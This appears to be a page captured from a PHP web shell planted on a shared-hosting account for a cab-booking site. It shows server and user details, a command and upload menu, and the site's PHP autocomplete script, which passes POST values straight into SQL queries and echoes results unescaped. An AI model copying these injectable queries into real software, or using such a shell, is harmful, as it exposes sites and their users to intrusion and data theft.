|
Server IP : 82.112.239.40 / Your IP : 13.58.149.106 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u641149403/domains/cabz4you.com/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require_once "config.php";
if (isset($_POST['term'])) {
$city=$_POST['term'];
$type=$_POST['type'];
$query = "SELECT packages.* FROM packages LEFT JOIN package_types ON package_types.id=packages.package_type_id WHERE city1 LIKE '{$city}%' AND type='$type'";
// $query = "SELECT DISTINCT city1 FROM packages WHERE city1 LIKE '{$city}%' AND type=''";
$result = mysqli_query($db, $query);
if (mysqli_num_rows($result) > 0) {
while ($user = mysqli_fetch_array($result)) { ?>
<li><?php echo $user['city1']; ?></li>
<?php } } } ?>
<?php if (isset($_POST['from'])) {
$from=$_POST['from'];
$to=$_POST['to'];
$type=$_POST['type'];
$query = "SELECT packages.* FROM packages LEFT JOIN package_types ON package_types.id=packages.package_type_id WHERE city1 LIKE '{$from}%' AND city2 LIKE '{$to}%' AND type='$type'";
$result = mysqli_query($db, $query);
if (mysqli_num_rows($result) > 0) {
while ($user = mysqli_fetch_array($result)) { ?>
<li><?php echo $user['city2']; ?></li>
<?php } } } ?>
<?php
if (isset($_POST['city'])) {
$city=$_POST['city'];
$type=$_POST['type'];
$query = "SELECT packages.* FROM packages LEFT JOIN package_types ON package_types.id=packages.package_type_id WHERE city1='$city' AND type='$type'";
$result = mysqli_query($db, $query);
if (mysqli_num_rows($result) > 0) {
while ($city = mysqli_fetch_array($result)) { ?>
<option value="<?php echo $city['city2']; ?>"><?php echo $city['city2']; ?></option>
<?php } } } ?>